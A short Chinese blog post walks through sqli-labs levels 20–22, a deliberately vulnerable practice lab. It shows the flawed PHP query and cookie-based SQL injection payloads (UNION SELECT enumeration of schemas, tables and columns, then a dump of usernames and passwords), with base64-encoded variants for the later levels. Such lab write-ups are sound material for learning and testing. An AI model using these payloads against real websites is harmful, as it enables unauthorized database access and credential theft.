less 20 21 22

less20

输入用户名和密码之后 显示 很多信息 其中有一个cookie值,作为下次登陆的凭证

cookie  比如 登录QQ空间 登录一次过后,可以不使用用户名和密码 就可以登录账号

$sql=“SELECT * FROM users WHERE username=‘$cookee’ LIMIT 0,1”;
在登录之后后台会将username放入cookie中,

再次登录的时候,只要是cookie没有过期,就会去cookie里面取值,然后进行查询。

登录成功之后  刷新一下 再抓包

 

  改cookie:uname=admin',报错,说明存在注入漏洞

 

 查看列数:uname=' order by 4 # (注意闭合sql语句)

 

 

然后猜3列 正确

 

判断回显位置:uname='union select 1,2,3#

 

 

 

 

 

 

 爆库 uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#

爆表:uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#

 

 

 爆列:uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#

 

爆字段:uname='union select 1,2,group_concat(concat_ws('-',username,password))from security.users#

 

less21

 

 

 

 

更新了之后 抓包

 

 

 

 

可以看到cookie的内容变成加密的形式,百度后用base64加解密可以解决: https://base64.us

 

 

 

 把我们需要输入的语句先进行一遍base64加密即可:

例如判断当前数据库:uname=')union select 1,2,database()#转义之后:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 除了闭合方式和加一步转码外,步骤与上一关完全一致,不再赘述。

 

less-22

本关抓包并测试发现数据格式变为“”,其他完全一样

 

“ union select 1,2,database()#转义:IiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

 

 

 

 

其他一致

 

posted @ 2020-01-27 20:13  Res0lve  阅读(165)  评论(0编辑  收藏  举报